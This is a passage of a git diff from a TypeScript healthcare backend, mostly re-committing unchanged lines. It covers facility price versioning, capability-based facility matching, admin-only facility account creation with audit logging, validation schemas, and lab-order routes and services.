Β§8.1.6 names; hiding an under-documented one is merely an - * operator fix. - */ -export async function listEligibleFacilities(input: { - type: 'lab' | 'pharmacy'; - catalogItemCode?: string; - asset?: string; - at?: Date; -}): Promise { - const at = input.at ?? new Date(); - const facilities = await facilitiesRepo.listQualifiedFacilityProfiles( - input.type, - capabilityForFacilityType(input.type), - ); - if (!input.catalogItemCode) { - return facilities.map((facility) => ({ - facilityId: facility.id, - name: facility.name, - type: facility.type, - price: null, - priceOnRequest: true, - })); - } - - const catalogItemCode = assertCatalogItemCode(input.catalogItemCode); - const asset = assertAsset(input.asset); - const rows = await facilitiesRepo.findPriceVersionsForFacilities( - facilities.map((facility) => facility.id), - catalogItemCode, - asset, - at, - ); - const byFacility = new Map(); - for (const row of rows) { - // Rows arrive newest-first; keep the first in-force version per facility. - if (!byFacility.has(row.facilityId)) byFacility.set(row.facilityId, row); - } - - return facilities.map((facility) => { - const row = byFacility.get(facility.id); - return { - facilityId: facility.id, - name: facility.name, - type: facility.type, - price: row ? { amount: row.amount, effectiveFrom: row.effectiveFrom } : null, - priceOnRequest: !row, - }; - }); -} - -/** - * The matching query in the issue's terms: *given an order's kind*, return - * only the facilities qualified to fulfill it (PRD FR-13). Cross-module - * callers (the order-selection path, #15's fulfillment work) go through this - * β€” never through `FacilityCapability` directly (hard rule 4). Fails closed: - * an order kind no facility is documented for yields the empty list. - */ -export async function listEligibleFacilitiesForOrderKind( - orderKind: FacilityOrderKind, - input: { catalogItemCode?: string; asset?: string; at?: Date } = {}, -): Promise { - const { facilityType } = facilityRequirementForOrderKind(orderKind); - return listEligibleFacilities({ type: facilityType, ...input }); -} - -// --- Account creation (issue #14, PRD OQ-2) -------------------------------- - -export interface FacilityCapabilityInput { - capabilityType: string; - detail?: string | null; -} - -export interface CreateFacilityInput { - email: string; - /** Plaintext initial password set by the admin β€” hashed here, never - * stored or logged. Same posture as the bootstrap admin CLI. */ - password: string; - name: string; - type: FacilityType; - capabilities: FacilityCapabilityInput[]; -} - -export interface CreatedFacility { - id: string; - userId: string; - name: string; - type: FacilityType; - capabilities: { id: string; capabilityType: CapabilityType; detail: string | null }[]; - createdAt: Date; -} - -/** - * Create a facility account: the `facility`-role login, its `FacilityProfile` - * and its capabilities, in one transaction. Admin-only by route gating - * (`requireRole('admin')`, mirroring the admin-gated doctor verification of - * Phase 1) β€” there is deliberately no self-serve facility signup (PRD OQ-2: - * a curated partner list is what protects FR-13 and Β§8.1.6; `POST /auth/signup` - * accepts patient/doctor only). - * - * Capabilities are required at creation and must match the facility type: - * matching then *cannot* fail open, because every account this path creates - * carries its qualification data. `emailVerifiedAt` is set at creation β€” the - * admin attests the address out of band, and until the email provider lands - * (issue #17) an unverified curated partner could never publish prices - * (`requireVerifiedEmail` gates `POST /facilities/me/prices`). - * - * The audit rule for account creation is #43's β€” `facility.created` records - * the admin, the facility and the capability count; never the email or any - * credential (`AuditEvent` carries no PHI or secrets, by construction). - */ -export async function createFacilityAccount( - actor: auditService.AuditActor, - input: CreateFacilityInput, -): Promise { - if (!actor.userId) throw new HttpError(401, 'Authentication required.'); - - const email = (input.email ?? '').trim(); - if (!email) throw new HttpError(400, 'An email address is required.'); - const name = (input.name ?? '').trim(); - if (!name) throw new HttpError(400, 'A facility name is required.'); - if (typeof input.password !== 'string' || input.password.length < MIN_FACILITY_PASSWORD_LENGTH) { - throw new HttpError(400, `password must be at least ${MIN_FACILITY_PASSWORD_LENGTH} characters.`); - } - const requiredCapability = capabilityForFacilityType(input.type); - if (!Array.isArray(input.capabilities) || input.capabilities.length === 0) { - throw new HttpError(400, 'A facility needs at least one capability β€” unqualified facilities are never eligible.'); - } - - const capabilities: { capabilityType: CapabilityType; detail: string | null }[] = []; - for (const capability of input.capabilities) { - if (!capability || typeof capability !== 'object') { - throw new HttpError(400, 'Each capability must be an object.'); - } - // Declared `string` on the input (callers may arrive from JSON); the - // comparison against the facility type's capability is the real check. - const capabilityType = capability.capabilityType as CapabilityType; - if (capabilityType !== requiredCapability) { - throw new HttpError( - 400, - `A ${input.type} facility can only hold "${requiredCapability}" capabilities, not "${String(capability.capabilityType)}".`, - ); - } - const detail = capability.detail === null || capability.detail === undefined - ? null - : String(capability.detail).trim(); - if (detail !== null && detail.length > MAX_CAPABILITY_DETAIL_LENGTH) { - throw new HttpError(400, `capability detail must be at most ${MAX_CAPABILITY_DETAIL_LENGTH} characters.`); - } - capabilities.push({ capabilityType, detail: detail === '' ? null : detail }); - } - - const passwordHash = await hashPassword(input.password); - - try { - return await prisma.$transaction(async (tx) => { - const user = await facilitiesRepo.createFacilityUser(tx, { email, passwordHash, emailVerifiedAt: new Date() }); - const facility = await facilitiesRepo.createFacilityProfile(tx, { userId: user.id, name, type: input.type }); - const rows = await facilitiesRepo.createFacilityCapabilities(tx, facility.id, capabilities); - await auditService.record(tx, actor, { - entityType: 'FacilityProfile', - entityId: facility.id, - action: 'facility.created', - fromState: null, - toState: 'created', - metadata: { - userId: user.id, - facilityType: input.type, - capabilityCount: rows.length, - }, - }); - return { - id: facility.id, - userId: user.id, - name: facility.name, - type: facility.type, - capabilities: rows.map((row) => ({ - id: row.id, - capabilityType: row.capabilityType, - detail: row.detail, - })), - createdAt: facility.createdAt, - }; - }); - } catch (error) { - if (isUniqueViolation(error)) { - throw new HttpError(409, 'An account with this email already exists.'); - } - throw error; - } -} - -function isUniqueViolation(error: unknown): boolean { - return typeof error === 'object' && error !== null && 'code' in error && (error as { code: unknown }).code === 'P2002'; -} +// facilities services β€” other modules must import pricing from here, never +// from repositories/ directly (AGENTS.md module-boundary rule). +// +// Three responsibilities: +// 1. facility owners manage a versioned price list (append-only); +// 2. the eligible-facility lookup and the order/ payments path resolve the +// price in force *now*, and the intent stores that amount as a snapshot +// so a later price change cannot re-price it; +// 3. admin-only facility account creation + FacilityCapability matching +// (issue #14, PRD OQ-2 / FR-13): facilities are curated, never +// self-serve, and a patient only ever sees facilities qualified for +// their order type. +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import * as auditService from '../../audit/services'; +import { hashPassword } from '../../auth/services'; +import * as facilitiesRepo from '../repositories'; +import type { Db } from '../repositories'; +import { + NATIVE_PRICE_ASSET, + parseEffectiveFrom, + priceOnRequestError, + selectCurrentPrice, +} from '../pricing'; +import { parseStroopsAmount } from '../../../utils/stroops'; +import type { CapabilityType, FacilityType } from '@prisma/client'; + +const MAX_CATALOG_ITEM_CODE_LENGTH = 100; +const MAX_ASSET_ID_LENGTH = 120; +const MAX_CAPABILITY_DETAIL_LENGTH = 100; +/** Mirrors auth signup's minimum β€” an admin-set initial password must not + * be weaker than a self-chosen one. */ +const MIN_FACILITY_PASSWORD_LENGTH = 8; + +export const DEFAULT_PRICE_ASSET = NATIVE_PRICE_ASSET; + +export interface PriceVersionInput { + catalogItemCode: string; + /** Smallest units (stroops), as a string from JSON or a bigint internally. */ + amount: string | bigint | number; + /** Defaults to native XLM. */ + asset?: string; + /** Defaults to "now"; a later timestamp schedules the version. */ + effectiveFrom?: string | Date; +} + +export interface PriceView { + id: string; + facilityId: string; + catalogItemCode: string; + asset: string; + amount: bigint; + effectiveFrom: Date; + createdAt: Date; +} + +function assertCatalogItemCode(value: string): string { + const trimmed = value.trim(); + if (trimmed.length === 0) throw new HttpError(400, 'catalogItemCode is required.'); + if (trimmed.length > MAX_CATALOG_ITEM_CODE_LENGTH) { + throw new HttpError(400, `catalogItemCode must be at most ${MAX_CATALOG_ITEM_CODE_LENGTH} characters.`); + } + return trimmed; +} + +function assertAsset(value: string | undefined): string { + const asset = (value ?? NATIVE_PRICE_ASSET).trim(); + if (asset.length === 0) throw new HttpError(400, 'asset must not be empty.'); + if (asset.length > MAX_ASSET_ID_LENGTH) { + throw new HttpError(400, `asset must be at most ${MAX_ASSET_ID_LENGTH} characters.`); + } + return asset; +} + +/** The caller's own facility profile id β€” price management is always + * "my" facility, never a client-supplied id (no IDOR surface). */ +export async function getOwnFacilityProfileId(userId: string): Promise { + const facility = await facilitiesRepo.findFacilityProfileByUserId(userId); + if (!facility) throw new HttpError(403, 'No facility profile is linked to this account.'); + return facility.id; +} + +async function requireFacilityForWrite(actor: auditService.AuditActor, facilityId: string) { + const facility = await facilitiesRepo.findFacilityProfileById(facilityId); + if (!facility) throw new HttpError(404, 'Facility not found.'); + if (actor.role !== 'admin' && (actor.userId === null || facility.userId !== actor.userId)) { + throw new HttpError(403, 'Only the facility owner can manage this price list.'); + } + return facility; +} + +/** + * The facility's price list, newest version first. Public: published prices + * are what patients compare, so reading them needs no ownership. Writing + * (below) does. + */ +export async function listPrices( + facilityId: string, + filters: { catalogItemCode?: string; asset?: string } = {}, +): Promise { + const facility = await facilitiesRepo.findFacilityProfileById(facilityId); + if (!facility) throw new HttpError(404, 'Facility not found.'); + return facilitiesRepo.listPriceHistory(facilityId, filters); +} + +/** + * Publishes a new price version. Append-only by design: publishing the same + * item/asset at a new `effectiveFrom` supersedes the old row for future + * pricing while leaving the old row (and any intent priced from it) intact. + */ +export async function createPriceVersion( + actor: auditService.AuditActor, + facilityId: string, + input: PriceVersionInput, +): Promise { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + await requireFacilityForWrite(actor, facilityId); + + const catalogItemCode = assertCatalogItemCode(input.catalogItemCode); + const asset = assertAsset(input.asset); + const amount = parseStroopsAmount(input.amount); + const effectiveFrom = parseEffectiveFrom(input.effectiveFrom); + + try { + return await prisma.$transaction(async (tx) => { + const price = await facilitiesRepo.createPriceVersion(tx, { + facilityId, + catalogItemCode, + asset, + amount, + effectiveFrom, + }); + await auditService.record(tx, actor, { + entityType: 'FacilityPrice', + entityId: price.id, + action: 'facility_price.created', + fromState: null, + toState: 'published', + metadata: { + facilityId, + catalogItemCode, + asset, + amountStroops: amount.toString(), + effectiveFrom: effectiveFrom.toISOString(), + }, + }); + return price; + }); + } catch (error) { + if (isUniqueViolation(error)) { + throw new HttpError(409, 'A price for this item and asset already exists with that effectiveFrom.'); + } + throw error; + } +} + +/** + * The price in force for one facility + catalog item (+ asset) at `at`, or + * `null` when the facility has not published one β€” the caller renders that as + * "price on request". Accepts a transaction client so the read and the write + * it prices happen in one transaction. + */ +export async function resolveCurrentPrice( + db: Db, + input: { facilityProfileId: string; catalogItemCode: string; asset?: string; at?: Date }, +): Promise<{ amount: bigint; effectiveFrom: Date; versionId: string } | null> { + const catalogItemCode = assertCatalogItemCode(input.catalogItemCode); + const asset = assertAsset(input.asset); + const at = input.at ?? new Date(); + const versions = await facilitiesRepo.findPriceVersions(input.facilityProfileId, catalogItemCode, asset, db); + const current = selectCurrentPrice(versions, at); + if (!current) return null; + return { amount: current.amount, effectiveFrom: current.effectiveFrom, versionId: current.id }; +} + +/** + * Same as `resolveCurrentPrice`, but throws the documented 422 + * `PRICE_ON_REQUEST` instead of returning null. Used where an amount is + * mandatory (pricing a new intent). + */ +export async function requireCurrentPrice( + db: Db, + input: { facilityProfileId: string; catalogItemCode: string; asset?: string; at?: Date }, +): Promise<{ amount: bigint; effectiveFrom: Date; versionId: string }> { + const price = await resolveCurrentPrice(db, input); + if (!price) throw priceOnRequestError(input.catalogItemCode); + return price; +} + +export interface EligibleFacility { + facilityId: string; + name: string; + type: 'lab' | 'pharmacy'; + /** Current price in smallest units, or null β†’ "price on request". */ + price: { amount: bigint; effectiveFrom: Date } | null; + priceOnRequest: boolean; +} + +/** + * Facility type β†’ the capability that type exists to provide. Kept in one + * map so the creation path (below) and the matching path cannot drift: a + * `lab` profile that cannot run lab tests is a data error, not a candidate. + */ +const CAPABILITY_BY_FACILITY_TYPE: Record = { + lab: 'lab_test', + pharmacy: 'medication_dispense', +}; + +function capabilityForFacilityType(type: FacilityType): CapabilityType { + // hasOwn, not a bare lookup: an inherited key (`constructor`) must not + // pass as a capability. + if (!Object.hasOwn(CAPABILITY_BY_FACILITY_TYPE, type)) { + throw new HttpError(400, 'type must be "lab" or "pharmacy".'); + } + return CAPABILITY_BY_FACILITY_TYPE[type]; +} + +/** What each fulfillable order kind (ADR 0012's discriminator: which typed + * FK on the order is set) requires of a facility. */ +export type FacilityOrderKind = 'lab_order' | 'prescription'; + +const REQUIREMENT_BY_ORDER_KIND: Record = { + lab_order: { facilityType: 'lab', capabilityType: 'lab_test' }, + prescription: { facilityType: 'pharmacy', capabilityType: 'medication_dispense' }, +}; + +export function facilityRequirementForOrderKind(orderKind: FacilityOrderKind) { + // hasOwn, not a bare lookup: an inherited key (`constructor`) must not + // resolve to a requirement. + const requirement = Object.hasOwn(REQUIREMENT_BY_ORDER_KIND, orderKind) + ? REQUIREMENT_BY_ORDER_KIND[orderKind] + : undefined; + if (!requirement) throw new HttpError(400, `Unknown order kind: ${String(orderKind)}`); + return { ...requirement }; +} + +/** + * Facilities of `type`, each with the price in force at `at` for the optional + * `catalogItemCode` β€” the patient-facing comparison query (issue #127). + * + * Candidate selection is capability matching (issue #14, PRD FR-13): a + * facility appears only if it is of `type` *and* holds a `FacilityCapability` + * of the type's capability. **Fail closed** β€” a facility with no capability + * rows, or only rows of the wrong capability type (malformed data), shows for + * nothing. Showing every facility for every order type is the fraud/safety + * concern PRD Β§8.1.6 names; hiding an under-documented one is merely an + * operator fix. + */ +export async function listEligibleFacilities(input: { + type: 'lab' | 'pharmacy'; + catalogItemCode?: string; + asset?: string; + at?: Date; +}): Promise { + const at = input.at ?? new Date(); + const facilities = await facilitiesRepo.listQualifiedFacilityProfiles( + input.type, + capabilityForFacilityType(input.type), + ); + if (!input.catalogItemCode) { + return facilities.map((facility) => ({ + facilityId: facility.id, + name: facility.name, + type: facility.type, + price: null, + priceOnRequest: true, + })); + } + + const catalogItemCode = assertCatalogItemCode(input.catalogItemCode); + const asset = assertAsset(input.asset); + const rows = await facilitiesRepo.findPriceVersionsForFacilities( + facilities.map((facility) => facility.id), + catalogItemCode, + asset, + at, + ); + const byFacility = new Map(); + for (const row of rows) { + // Rows arrive newest-first; keep the first in-force version per facility. + if (!byFacility.has(row.facilityId)) byFacility.set(row.facilityId, row); + } + + return facilities.map((facility) => { + const row = byFacility.get(facility.id); + return { + facilityId: facility.id, + name: facility.name, + type: facility.type, + price: row ? { amount: row.amount, effectiveFrom: row.effectiveFrom } : null, + priceOnRequest: !row, + }; + }); +} + +/** + * The matching query in the issue's terms: *given an order's kind*, return + * only the facilities qualified to fulfill it (PRD FR-13). Cross-module + * callers (the order-selection path, #15's fulfillment work) go through this + * β€” never through `FacilityCapability` directly (hard rule 4). Fails closed: + * an order kind no facility is documented for yields the empty list. + */ +export async function listEligibleFacilitiesForOrderKind( + orderKind: FacilityOrderKind, + input: { catalogItemCode?: string; asset?: string; at?: Date } = {}, +): Promise { + const { facilityType } = facilityRequirementForOrderKind(orderKind); + return listEligibleFacilities({ type: facilityType, ...input }); +} + +// --- Account creation (issue #14, PRD OQ-2) -------------------------------- + +export interface FacilityCapabilityInput { + capabilityType: string; + detail?: string | null; +} + +export interface CreateFacilityInput { + email: string; + /** Plaintext initial password set by the admin β€” hashed here, never + * stored or logged. Same posture as the bootstrap admin CLI. */ + password: string; + name: string; + type: FacilityType; + capabilities: FacilityCapabilityInput[]; +} + +export interface CreatedFacility { + id: string; + userId: string; + name: string; + type: FacilityType; + capabilities: { id: string; capabilityType: CapabilityType; detail: string | null }[]; + createdAt: Date; +} + +/** + * Create a facility account: the `facility`-role login, its `FacilityProfile` + * and its capabilities, in one transaction. Admin-only by route gating + * (`requireRole('admin')`, mirroring the admin-gated doctor verification of + * Phase 1) β€” there is deliberately no self-serve facility signup (PRD OQ-2: + * a curated partner list is what protects FR-13 and Β§8.1.6; `POST /auth/signup` + * accepts patient/doctor only). + * + * Capabilities are required at creation and must match the facility type: + * matching then *cannot* fail open, because every account this path creates + * carries its qualification data. `emailVerifiedAt` is set at creation β€” the + * admin attests the address out of band, and until the email provider lands + * (issue #17) an unverified curated partner could never publish prices + * (`requireVerifiedEmail` gates `POST /facilities/me/prices`). + * + * The audit rule for account creation is #43's β€” `facility.created` records + * the admin, the facility and the capability count; never the email or any + * credential (`AuditEvent` carries no PHI or secrets, by construction). + */ +export async function createFacilityAccount( + actor: auditService.AuditActor, + input: CreateFacilityInput, +): Promise { + if (!actor.userId) throw new HttpError(401, 'Authentication required.'); + + const email = (input.email ?? '').trim(); + if (!email) throw new HttpError(400, 'An email address is required.'); + const name = (input.name ?? '').trim(); + if (!name) throw new HttpError(400, 'A facility name is required.'); + if (typeof input.password !== 'string' || input.password.length < MIN_FACILITY_PASSWORD_LENGTH) { + throw new HttpError(400, `password must be at least ${MIN_FACILITY_PASSWORD_LENGTH} characters.`); + } + const requiredCapability = capabilityForFacilityType(input.type); + if (!Array.isArray(input.capabilities) || input.capabilities.length === 0) { + throw new HttpError(400, 'A facility needs at least one capability β€” unqualified facilities are never eligible.'); + } + + const capabilities: { capabilityType: CapabilityType; detail: string | null }[] = []; + for (const capability of input.capabilities) { + if (!capability || typeof capability !== 'object') { + throw new HttpError(400, 'Each capability must be an object.'); + } + // Declared `string` on the input (callers may arrive from JSON); the + // comparison against the facility type's capability is the real check. + const capabilityType = capability.capabilityType as CapabilityType; + if (capabilityType !== requiredCapability) { + throw new HttpError( + 400, + `A ${input.type} facility can only hold "${requiredCapability}" capabilities, not "${String(capability.capabilityType)}".`, + ); + } + const detail = capability.detail === null || capability.detail === undefined + ? null + : String(capability.detail).trim(); + if (detail !== null && detail.length > MAX_CAPABILITY_DETAIL_LENGTH) { + throw new HttpError(400, `capability detail must be at most ${MAX_CAPABILITY_DETAIL_LENGTH} characters.`); + } + capabilities.push({ capabilityType, detail: detail === '' ? null : detail }); + } + + const passwordHash = await hashPassword(input.password); + + try { + return await prisma.$transaction(async (tx) => { + const user = await facilitiesRepo.createFacilityUser(tx, { email, passwordHash, emailVerifiedAt: new Date() }); + const facility = await facilitiesRepo.createFacilityProfile(tx, { userId: user.id, name, type: input.type }); + const rows = await facilitiesRepo.createFacilityCapabilities(tx, facility.id, capabilities); + await auditService.record(tx, actor, { + entityType: 'FacilityProfile', + entityId: facility.id, + action: 'facility.created', + fromState: null, + toState: 'created', + metadata: { + userId: user.id, + facilityType: input.type, + capabilityCount: rows.length, + }, + }); + return { + id: facility.id, + userId: user.id, + name: facility.name, + type: facility.type, + capabilities: rows.map((row) => ({ + id: row.id, + capabilityType: row.capabilityType, + detail: row.detail, + })), + createdAt: facility.createdAt, + }; + }); + } catch (error) { + if (isUniqueViolation(error)) { + throw new HttpError(409, 'An account with this email already exists.'); + } + throw error; + } +} + +function isUniqueViolation(error: unknown): boolean { + return typeof error === 'object' && error !== null && 'code' in error && (error as { code: unknown }).code === 'P2002'; +} diff --git a/backend/src/modules/facilities/validation.ts b/backend/src/modules/facilities/validation.ts index 86269654..84ebc7a8 100644 --- a/backend/src/modules/facilities/validation.ts +++ b/backend/src/modules/facilities/validation.ts @@ -1,46 +1,46 @@ -import { z } from 'zod'; - -/** `effectiveFrom` accepts any ISO-8601 string the Date constructor parses; - * the service rejects garbage so the error is a 400, not a 500. */ -export const createPriceVersionSchema = z.object({ - catalogItemCode: z.string().min(1).max(100), - // JSON has no bigint: stroops arrive as a plain digit string. The service - // re-validates with the shared parser so this module and payments agree. - amount: z.union([z.string(), z.number()]), - asset: z.string().min(1).max(120).optional(), - effectiveFrom: z.string().min(1).optional(), -}); - -export const priceFiltersSchema = z.object({ - catalogItemCode: z.string().min(1).max(100).optional(), - asset: z.string().min(1).max(120).optional(), -}); - -export const eligibleFacilitiesQuerySchema = z.object({ - type: z.enum(['lab', 'pharmacy']), - catalogItemCode: z.string().min(1).max(100).optional(), - asset: z.string().min(1).max(120).optional(), - at: z.string().min(1).optional(), -}); - -export type CreatePriceVersionBody = z.infer; - -/** Admin-only facility creation (issue #14, PRD OQ-2). The shape is checked - * here; the type↔capability consistency rule lives in the service so a - * direct service call cannot bypass it. */ -export const facilityCapabilitySchema = z.object({ - capabilityType: z.enum(['lab_test', 'medication_dispense']), - // Free text on purpose (schema note on FacilityCapability) β€” no - // controlled vocabulary exists yet. - detail: z.string().trim().min(1).max(100).nullish(), -}).strict(); - -export const createFacilitySchema = z.object({ - email: z.string().email(), - // Same floor as auth signup β€” an admin-set initial password may not be - // weaker than a self-chosen one. - password: z.string().min(8), - name: z.string().trim().min(1).max(200), - type: z.enum(['lab', 'pharmacy']), - capabilities: z.array(facilityCapabilitySchema).min(1).max(20), -}).strict(); +import { z } from 'zod'; + +/** `effectiveFrom` accepts any ISO-8601 string the Date constructor parses; + * the service rejects garbage so the error is a 400, not a 500. */ +export const createPriceVersionSchema = z.object({ + catalogItemCode: z.string().min(1).max(100), + // JSON has no bigint: stroops arrive as a plain digit string. The service + // re-validates with the shared parser so this module and payments agree. + amount: z.union([z.string(), z.number()]), + asset: z.string().min(1).max(120).optional(), + effectiveFrom: z.string().min(1).optional(), +}); + +export const priceFiltersSchema = z.object({ + catalogItemCode: z.string().min(1).max(100).optional(), + asset: z.string().min(1).max(120).optional(), +}); + +export const eligibleFacilitiesQuerySchema = z.object({ + type: z.enum(['lab', 'pharmacy']), + catalogItemCode: z.string().min(1).max(100).optional(), + asset: z.string().min(1).max(120).optional(), + at: z.string().min(1).optional(), +}); + +export type CreatePriceVersionBody = z.infer; + +/** Admin-only facility creation (issue #14, PRD OQ-2). The shape is checked + * here; the type↔capability consistency rule lives in the service so a + * direct service call cannot bypass it. */ +export const facilityCapabilitySchema = z.object({ + capabilityType: z.enum(['lab_test', 'medication_dispense']), + // Free text on purpose (schema note on FacilityCapability) β€” no + // controlled vocabulary exists yet. + detail: z.string().trim().min(1).max(100).nullish(), +}).strict(); + +export const createFacilitySchema = z.object({ + email: z.string().email(), + // Same floor as auth signup β€” an admin-set initial password may not be + // weaker than a self-chosen one. + password: z.string().min(8), + name: z.string().trim().min(1).max(200), + type: z.enum(['lab', 'pharmacy']), + capabilities: z.array(facilityCapabilitySchema).min(1).max(20), +}).strict(); diff --git a/backend/src/modules/lab-orders/controllers/index.ts b/backend/src/modules/lab-orders/controllers/index.ts index f02ca559..336cf5ba 100644 --- a/backend/src/modules/lab-orders/controllers/index.ts +++ b/backend/src/modules/lab-orders/controllers/index.ts @@ -1,33 +1,33 @@ -import type { Request, Response } from 'express'; -import { auditActor } from '../../../middleware/request-id'; -import * as services from '../services'; - -export async function createLabOrder(req: Request, res: Response) { - const { patientProfileId, orderingDoctorId, details } = req.body || {}; - const order = await services.createLabOrder({ - patientProfileId, - orderingDoctorId, - details, - }); - res.status(201).json(order); -} - -export async function fulfillLabOrder(req: Request, res: Response) { - const id = req.params.id as string; - const { referenceNumber, attachment, notes } = req.body || {}; - const actor = auditActor(req); - - const order = await services.fulfillLabOrder( - id, - req.user!.id, - { referenceNumber, attachment, notes }, - actor, - ); - res.status(200).json(order); -} - -export async function getLabOrder(req: Request, res: Response) { - const id = req.params.id as string; - const order = await services.getLabOrderById(id); - res.status(200).json(order); -} +import type { Request, Response } from 'express'; +import { auditActor } from '../../../middleware/request-id'; +import * as services from '../services'; + +export async function createLabOrder(req: Request, res: Response) { + const { patientProfileId, orderingDoctorId, details } = req.body || {}; + const order = await services.createLabOrder({ + patientProfileId, + orderingDoctorId, + details, + }); + res.status(201).json(order); +} + +export async function fulfillLabOrder(req: Request, res: Response) { + const id = req.params.id as string; + const { referenceNumber, attachment, notes } = req.body || {}; + const actor = auditActor(req); + + const order = await services.fulfillLabOrder( + id, + req.user!.id, + { referenceNumber, attachment, notes }, + actor, + ); + res.status(200).json(order); +} + +export async function getLabOrder(req: Request, res: Response) { + const id = req.params.id as string; + const order = await services.getLabOrderById(id); + res.status(200).json(order); +} diff --git a/backend/src/modules/lab-orders/repositories/index.ts b/backend/src/modules/lab-orders/repositories/index.ts index 9a36a9db..7d475b5a 100644 --- a/backend/src/modules/lab-orders/repositories/index.ts +++ b/backend/src/modules/lab-orders/repositories/index.ts @@ -1,6 +1,6 @@ -export { - findOrderById, - createOrder, - createFulfillmentProof, - markOrderFulfilled, -} from '../../pharmacy-orders/repositories'; +export { + findOrderById, + createOrder, + createFulfillmentProof, + markOrderFulfilled, +} from '../../pharmacy-orders/repositories'; diff --git a/backend/src/modules/lab-orders/routes/index.ts b/backend/src/modules/lab-orders/routes/index.ts index e79262ef..f6750de1 100644 --- a/backend/src/modules/lab-orders/routes/index.ts +++ b/backend/src/modules/lab-orders/routes/index.ts @@ -1,9 +1,9 @@ -import { Router } from 'express'; -import { authenticate, requireRole } from '../../../middleware/auth'; -import * as controllers from '../controllers'; - -export const labOrdersRouter = Router(); - -labOrdersRouter.post('/', authenticate, controllers.createLabOrder); -labOrdersRouter.get('/:id', authenticate, controllers.getLabOrder); -labOrdersRouter.post('/:id/fulfill', authenticate, requireRole('facility'), controllers.fulfillLabOrder); +import { Router } from 'express'; +import { authenticate, requireRole } from '../../../middleware/auth'; +import * as controllers from '../controllers'; + +export const labOrdersRouter = Router(); + +labOrdersRouter.post('/', authenticate, controllers.createLabOrder); +labOrdersRouter.get('/:id', authenticate, controllers.getLabOrder); +labOrdersRouter.post('/:id/fulfill', authenticate, requireRole('facility'), controllers.fulfillLabOrder); diff --git a/backend/src/modules/lab-orders/services/index.ts b/backend/src/modules/lab-orders/services/index.ts index 25bf9384..3c0b59a3 100644 --- a/backend/src/modules/lab-orders/services/index.ts +++ b/backend/src/modules/lab-orders/services/index.ts @@ -1,127 +1,127 @@ -import { prisma } from '../../../db/prisma-client'; -import { HttpError } from '../../../http-error'; -import { storageService } from '../../../utils/storage'; -import { record, type AuditActor } from '../../audit/services'; -import * as repo from '../repositories'; -import { - formatOrderResponse, - type FulfillOrderInput, -} from '../../pharmacy-orders/services'; - -export async function createLabOrder(data: { - patientProfileId?: string; - orderingDoctorId?: string; - details?: string; -}) { - if (!data.patientProfileId || typeof data.patientProfileId !== 'string') { - throw new HttpError(400, 'Patient profile ID is required.'); - } - - const patient = await prisma.patientProfile.findUnique({ - where: { id: data.patientProfileId }, - }); - if (!patient) { - throw new HttpError(404, 'Patient profile not found.'); - } - - const order = await prisma.$transaction(async (tx) => { - return repo.createOrder(tx, { - orderType: 'lab', - patientProfileId: data.patientProfileId!, - prescribingDoctorId: data.orderingDoctorId, - details: data.details, - }); - }); - - return formatOrderResponse(order); -} - -export async function fulfillLabOrder( - orderId: string, - facilityUserId: string, - input: FulfillOrderInput, - actor: AuditActor, -) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - - const existingCheck = await prisma.order.findUnique({ where: { id: orderId } }); - if (!existingCheck || existingCheck.orderType !== 'lab') { - throw new HttpError(404, 'Lab order not found.'); - } - - if (!input?.referenceNumber || typeof input.referenceNumber !== 'string' || input.referenceNumber.trim().length === 0) { - throw new HttpError(400, 'Reference number is required for fulfillment proof.'); - } - - const facilityProfile = await prisma.facilityProfile.findUnique({ - where: { userId: facilityUserId }, - }); - if (!facilityProfile) { - throw new HttpError(403, 'Facility profile required.'); - } - - let attachmentUrl: string | undefined = undefined; - if (input.attachment) { - attachmentUrl = await storageService.uploadAttachment(input.attachment); - } - - const result = await prisma.$transaction(async (tx) => { - const existing = await repo.findOrderById(tx, orderId, 'lab'); - if (!existing) { - throw new HttpError(404, 'Lab order not found.'); - } - if (existing.status === 'fulfilled') { - throw new HttpError(409, 'Lab order has already been fulfilled.'); - } - if (existing.status !== 'issued') { - throw new HttpError(400, `Lab order cannot be fulfilled from status: ${existing.status}`); - } - - const marked = await repo.markOrderFulfilled(tx, orderId, facilityProfile.id); - if (!marked) { - throw new HttpError(409, 'Failed to transition order status to fulfilled.'); - } - - await repo.createFulfillmentProof(tx, { - orderId, - facilityProfileId: facilityProfile.id, - referenceNumber: input.referenceNumber.trim(), - attachmentUrl, - notes: input.notes, - }); - - await record(tx, actor, { - entityType: 'Order', - entityId: orderId, - action: 'order.fulfilled', - fromState: 'issued', - toState: 'fulfilled', - metadata: { - orderType: 'lab', - referenceNumber: input.referenceNumber.trim(), - facilityProfileId: facilityProfile.id, - }, - }); - - const updated = await repo.findOrderById(tx, orderId, 'lab'); - if (!updated) { - throw new HttpError(500, 'Failed to fetch updated order.'); - } - return updated; - }); - - return formatOrderResponse(result); -} - -export async function getLabOrderById(orderId: string) { - if (!orderId || typeof orderId !== 'string') { - throw new HttpError(400, 'Order ID is required.'); - } - const order = await repo.findOrderById(prisma, orderId, 'lab'); - if (!order) { - throw new HttpError(404, 'Lab order not found.'); - } - return formatOrderResponse(order); -} +import { prisma } from '../../../db/prisma-client'; +import { HttpError } from '../../../http-error'; +import { storageService } from '../../../utils/storage'; +import { record, type AuditActor } from '../../audit/services'; +import * as repo from '../repositories'; +import { + formatOrderResponse, + type FulfillOrderInput, +} from '../../pharmacy-orders/services'; + +export async function createLabOrder(data: { + patientProfileId?: string; + orderingDoctorId?: string; + details?: string; +}) { + if (!data.patientProfileId || typeof data.patientProfileId !== 'string') { + throw new HttpError(400, 'Patient profile ID is required.'); + } + + const patient = await prisma.patientProfile.findUnique({ + where: { id: data.patientProfileId }, + }); + if (!patient) { + throw new HttpError(404, 'Patient profile not found.'); + } + + const order = await prisma.$transaction(async (tx) => { + return repo.createOrder(tx, { + orderType: 'lab', + patientProfileId: data.patientProfileId!, + prescribingDoctorId: data.orderingDoctorId, + details: data.details, + }); + }); + + return formatOrderResponse(order); +} + +export async function fulfillLabOrder( + orderId: string, + facilityUserId: string, + input: FulfillOrderInput, + actor: AuditActor, +) { + if (!orderId || typeof orderId !== 'string') { + throw new HttpError(400, 'Order ID is required.'); + } + + const existingCheck = await prisma.order.findUnique({ where: { id: orderId } }); + if (!existingCheck || existingCheck.orderType !== 'lab') { + throw new HttpError(404, 'Lab order not found.'); + } + + if (!input?.referenceNumber || typeof input.referenceNumber !== 'string' || 